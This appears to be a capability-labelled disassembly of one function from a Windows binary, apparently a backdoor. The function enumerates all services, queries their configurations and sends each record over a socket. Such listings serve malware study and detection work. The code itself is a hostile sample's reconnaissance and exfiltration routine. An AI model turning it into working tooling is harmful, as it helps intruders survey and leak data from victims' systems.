Function at 0x1000b823
Capabilities:
Enumerate services
Query service configuration
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b4
and byte [ebp - 0x4b4], 0
push ebx
push esi
push edi
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x4b3]
rep stosd dword es:[edi], eax
and byte [ebp - 0x2ac], 0
push 0x40
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x2ab]
and byte [ebp - 0x3b0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x3af]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x2ac]
push 0x104
push eax
push dword [section.xdoors_d]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x2ac]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
xor ebx, ebx
pop ecx
cmp eax, ebx
pop ecx
je 0x1000b8a6
inc eax
jmp 0x1000b8ac
lea eax, [ebp - 0x2ac]
push eax
mov edi, 0x10093664
lea eax, [ebp - 0x3b0]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x3b0]
push eax
call fcn.100053f9
push eax
lea eax, [ebp - 0x4b4]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov esi, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_LocalAlloc]
add esp, 0x10
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov ebx, 0x400
mov dword [ebp - 4], esi
push ebx
push 0x40
call edi
push ebx
push 0x40
mov dword [ebp - 8], eax
call edi
cmp esi, 0xffffffff
mov dword [ebp - 0xc], eax
jne 0x1000b917
mov dword [ebp - 4], 0x30
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [ebp - 0x14], eax
je 0x1000ba88
mov esi, 0x7800
push esi
push 0x40
call edi
mov edi, eax
lea eax, [ebp - 0x20]
push 0
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
push esi
push edi
push 3
push dword [ebp - 4]
push 0
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExA]
test eax, eax
je 0x1000ba88
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0
jbe 0x1000ba88
lea esi, [edi + 0xc]
mov edi, dword [sym.imp.MSVCRT.dll_strncpy]
cmp dword [ebp + 0xc], 0xffffffff
jne 0x1000b98b
cmp dword [esi], 4
jne 0x1000ba76
push 0x184
lea eax, [ebp - 0x1a8]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0xf01ff
push dword [esi - 0xc]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x10], eax
push ecx
push ebx
push dword [ebp - 0xc]
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfig2A]
lea eax, [ebp - 0x1c]
push eax
push ebx
push dword [ebp - 8]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
mov eax, dword [ebp - 8]
push 0x20
mov ecx, dword [eax + 4]
mov dword [ebp - 0x19c], ecx
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x1a8], eax
push dword [esi - 0xc]
lea eax, [ebp - 0x198]
push eax
call edi
push 0x40
lea eax, [ebp - 0x178]
push dword [esi - 8]
push eax
call edi
mov eax, dword [esi]
add esp, 0x18
mov dword [ebp - 0x1a0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4b4]
push 0x10
push eax
lea eax, [ebp - 0x34]
push eax
call edi
mov eax, dword [ebp - 0xc]
add esp, 0xc
mov eax, dword [eax]
test eax, eax
je 0x1000ba51
push 0x100
push eax
lea eax, [ebp - 0x138]
push eax
call edi
add esp, 0xc
push 0
lea eax, [ebp - 0x1a8]
push 0x184
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
push dword [ebp - 0x10]
cmp eax, 0xffffffff
je 0x1000bab3
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
inc dword [ebp - 4]
add esi, 0x2c
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x18]
jb 0x1000b97c
push 0
lea eax, [ebp - 0x1a8]
push 0x184
push eax
push dword [ebp + 8]
mov dword [ebp - 0x1a8], 0x7b
mov dword [ebp - 0x38], 0x141
call dword [sym.imp.WS2_32.dll_send]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x14]
call esi
push dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_LocalFree]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
pop ebx
leave
ret